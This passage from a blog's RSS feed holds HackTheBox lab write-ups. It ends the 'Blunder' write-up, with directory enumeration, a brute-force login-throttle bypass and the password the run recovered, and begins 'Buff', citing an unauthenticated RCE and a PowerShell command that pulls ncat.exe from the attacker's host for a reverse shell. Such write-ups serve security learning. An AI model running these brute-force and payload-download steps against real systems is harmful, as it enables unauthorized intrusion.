<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Wordlist:                </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">usr</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">share</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">wordlists</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">dirb</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">common.txt</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Negative Status codes:   </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">403</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">404</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] User Agent:              gobuster</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Extensions:              txt</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">log</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">php</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Expanded:                true</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Timeout:                 10s</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2020</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">07</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">26</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 13</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">42</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">27</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Starting gobuster</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">about (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">admin (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">301</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">cgi</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">bin</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">301</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">install.php (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">LICENSE (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">robots.txt (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">robots.txt (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">todo.txt (Status: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2020</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">07</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">26</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 13</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">54</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">26</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Finished</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The page <code>http://10.10.10.191/install.php</code> make reference to the Web Application <code>Bludit</code>.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> curl http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">install.php</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Bludit is already installed ;)</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>The page <code>http://10.10.10.191/admin</code> was visited and redirects to the admin panel.</p>
<figure><figcaption>admin_page</figcaption></figure>
<p>The page <code>http://10.10.10.191/todo.txt</code> contains information such as that the CMS is not up-to-date and the name of a user <strong>fergus</strong>. A not up-to-date CMS might be prone to security vulnerabilities.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">curl http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">todo.txt</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Update the CMS</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Turn off FTP </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DONE</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Remove old users </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> DONE</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Inform fergus that the new blog needs images </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> PENDING</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>fergus password</h3>
<p>The version of bludit we had might be impactred by the CVE-XXXXX, which highlight the fact that it is possible to bypass the brute force password policy by changing the content of the header <code>X-Forwarded-For</code>. The application relies on this header to block an IP when multiple tries came from the same IP. This header can be manipulated by a malicious user and should not be trusted.</p>
<p>A python script was used to brute force the website and to find a valid login and password. To generate a wordlist for the script, <code>Cewl</code> was used.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> cewl http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> tee </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">a wl.txt</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The previously found username <code>fergus</code> was used.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> cat user_list.txt</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">fergus</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">python brute</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">force.py wl.txt</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Username: fergus</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Wordlist len: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">351</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Load</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Plugins</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:and</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Include</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Site</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Page</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:has</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:About</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:King</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:with</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:USB</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">Begin</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:more</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">End</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:service</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">from</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Stadia</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[...]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Contribution</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:Letters</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:probably</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:best</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:fictional</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:character</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Trying: fergus:RolandDeschain</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">SUCCESS: Password found</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">!</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Use fergus:RolandDeschain to login.</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The password <code>RolandDeschain</code> can be used to log in the admin panel.</p>
<p>However, I did not have the time to finish it before it was retired from HackTheBox.</p>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Buff</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Buff.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Buff.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Buff</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: open_tcp_ports_nmapope...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 21 Nov 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<figure><figcaption>open_tcp_ports_nmap</figcaption></figure>
<p>The port TCP/8080 is a web interface but the TCP/7680 is unknown. However, it accepts TCP connections and it might be reverent later.</p>
<h2>Unauthenticated RCE into the Web Application (TCP/8080)</h2>
<p>A web application was discovered to be running behind the port TCP/8080.
</p>
<p>When visiting the pages of the web application, the page <em>contact</em> has the following mention :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>mrb3n's Bro Hut</span></span>
<span class="line"><span>Made using Gym Management Software 1.0</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>After a few research on the Internet, it appears that the version of <em>Gym Management Software</em> is prone to an <a href="https://www.exploit-db.com/exploits/48506" target="_blank" rel="noopener noreferrer">Unauthenticated Remote Code Execution</a>. It can be used to gain a remote access on the box as the user <code>buff\shaun</code>.</p>
<figure><figcaption>port8080_webshell</figcaption></figure>
<h2>Get Ncat reverse access</h2>
<p>Binaries such as <code>ncat.exe</code> were uploaded on the box in order to get more suitable access with the command :</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">command </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"&amp; { iwr http://10.10.14.159/ncat.exe -OutFile ncat.exe }"</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><figcaption>ncat_shell</figcaption></figure>
<h2>Enumeration as the user shaun</h2>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>C:\xampp\htdocs\gym\upload&gt; whoami /all</span></span>
<span class="line"><span></span></span>
<span class="line"><span>USER INFORMATION</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Cap</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Cap.html</link>
